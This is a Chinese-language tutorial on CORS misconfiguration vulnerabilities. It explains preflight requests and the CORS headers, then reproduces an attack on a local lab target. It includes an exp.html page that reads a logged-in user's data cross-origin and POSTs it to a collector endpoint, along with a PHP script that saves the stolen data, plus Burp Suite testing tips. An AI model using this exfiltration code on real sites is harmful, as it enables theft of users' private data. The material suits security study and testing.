目录
前提知识
CORS介绍
H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。
跨域访问的一些场景
- 比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
- 程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送ajax请求,请求另外一个页面的内容的时候,就会跨域。
- 电商网站想通过用户浏览器加载第三方快递网站的物流信息。
- 子站域名希望调用主站域名的用户资料接口,并将数据显示出来。
跨域请求方式
CORS定义了两种跨域请求,简单跨域请求和非简单跨域请求。
只要同时满足以下两大条件,就属于简单请求。
- 1.请求方法是以下三种方法之一
- HEAD
- GET
- POST
- 2.HTTP的头信息不超出以下几种字段
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type
:application/x-www-form-urlencoded
、multipart/form-data
、text/plain
浏览器对简单请求和非简单请求的处理机制不一样。对于简单请求,浏览器就会立刻发送这个请求。对于非简单请求,浏览器不会马上发送这个请求,而是有一个preflight,跟服务器验证的过程。浏览器先发送一个options方法的预检请求。
漏洞原理
非简单请求的预检过程
-
浏览器先发送一个options方法的请求。带有如下字段:
Origin: 普通的HTTP请求也会带有,在CORS中专门作为Origin信息供后端比对,表明来源域。
Access-Control-Request-Method: 接下来请求的方法,例如PUT, DELETE等等
Access-Control-Request-Headers: 自定义的头部,所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中 -
然后如果服务器配置了cors,会返回对应对的字段,具体字段含义在返回结果是一并解释。
Access-Control-Allow-Origin:
Access-Control-Allow-Methods:
Access-Control-Allow-Headers: -
然后浏览器再根据服务器的返回值判断是否发送非简单请求。简单请求前面讲过是直接发送,只是多加一个origin字段表明跨域请求的来源。然后服务器处理完请求之后,会再返回结果中加上如下控制字段:
Access-Control-Allow-Origin: 允许跨域访问的域,可以是一个域的列表,也可以是通配符"*"。这里要注意Origin规则只对域名有效,并不会对子目录有效。即http://foo.example/subdir/ 是无效的。但是不同子域名需要分开设置,这里的规则可以参照同源策略
Access-Control-Allow-Credentials: 是否允许请求带有验证信息,这部分将会在下面详细解释
Access-Control-Expose-Headers: 允许脚本访问的返回头,请求成功后,脚本可以在XMLHttpRequest中访问这些头的信息(貌似webkit没有实现这个)
Access-Control-Max-Age: 缓存此次请求的秒数。在这个时间范围内,所有同类型的请求都将不再发送预检请求而是直接使用此次返回的头作为判断依据,非常有用,大幅优化请求次数
Access-Control-Allow-Methods: 允许使用的请求方法,以逗号隔开
Access-Control-Allow-Headers: 允许自定义的头部,以逗号隔开,大小写不敏感 -
然后浏览器通过返回结果的这些控制字段来决定是将结果开放给客户端脚本读取还是屏蔽掉。如果服务器没有配置cors,返回结果没有控制字段,浏览器会屏蔽脚本对返回信息的读取。
安全隐患
这个流程中。服务器接收到跨域请求的时候,并没有先验证,而是先处理了请求。所以从某种程度上来说。在支持cors的浏览器上实现跨域的写资源,打破了传统同源策略下不能跨域读写资源。
如果将Access-Control-Allow-Origin设置为允许来自所有域的跨域请求。那么cors的安全机制几乎就无效了。但是这里在设计的时候有一个很好的限制。xmlhttprequest发送的请求需要使用“withCredentials”来带上cookie,如果一个目标域设置成了允许任意域的跨域请求,这个请求又带着cookie的话,这个请求是不合法的。(就是如果需要实现带cookie的跨域请求,需要明确的配置允许来源的域,使用任意域的配置是不合法的)浏览器会屏蔽掉返回的结果。
CORS服务端的 Access-Control-Allow-Origin 设置为了 *,并且 Access-Control-Allow-Credentials 设置为false,这样任何网站都可以获取该服务端的任何数据了。
有一些网站的Access-Control-Allow-Origin他的设置并不是固定的,而是根据用户跨域请求数据的Origin来定的。这时,不管Access-Control-Allow-Credentials 设置为了 true 还是 false。任何网站都可以发起请求,并读取对这些请求的响应。意思就是任何一个网站都可以发送跨域请求来获得CORS服务端上的数据。
漏洞复现
这里以droabox靶场为例,如图,这个接口会返回已登录的用户的信息数据,通过访问该网页的响应我们看到这里可能存在CORS跨域资源共享漏洞
恶意js代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Cors</title>
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText);
}
}
// xhr.= twithCredentials rue;
xhr.open("GET",'http://localhost:8999/csrf/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>
漏洞利用代码
exp.html
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
var xhr1 = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText)
var data = xhr.responseText;
xhr1.open("POST","http://127.0.0.1:8098/coleak.php",true);
xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
alert(data);
xhr1.send("coleak="+escape(data));
// body = document.getElementsByTagName('body')
// body[0].innerHTML = xhr.responseText;
}
}
//xhr.withCredentials = true;
xhr.open("GET",'http://localhost:8999/csrf/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>
coleak.php
<?php
$data = $_POST['coleak'];
if($data){
$myfile = fopen("data.html","w");
fwrite($myfile,$data);
fclose($myfile);
}
此时生成data.html
挖掘技巧
在之前我们了解了一些关于CORS跨域资源共享通信的一些字段含义,CORS的漏洞主要看当我们发起的请求中带有Origin头部字段时,服务器的返回包带有CORS的相关字段并且允许Origin的域访问。
一般测试WEB漏洞都会用上BurpSuite,而BurpSuite可以实现帮助我们检测这个漏洞。
首先是自动在HTTP请求包中加上Origin的头部字段,打开BurpSuite,选择Proxy模块中的Options选项,找到Match and Replace这一栏,勾选Request header 将空替换为Origin:example.com的Enable框。
当我们进行测试时,看服务器响应头字段里可以关注这几个点:最好利用的配置:
Access-Control-Allow-Origin: www
Access-Control-Allow-Credentials: true可能存在可利用的配置:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true很好的条件但无法利用:
下面这组配置组合虽然看起来很完美但是CORS机制已经默认自动禁止了这种组合,算是CORS的最后一道防线
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true单一的情况
Access-Control-Allow-Origin:*
防御
将下面设置改为设置白名单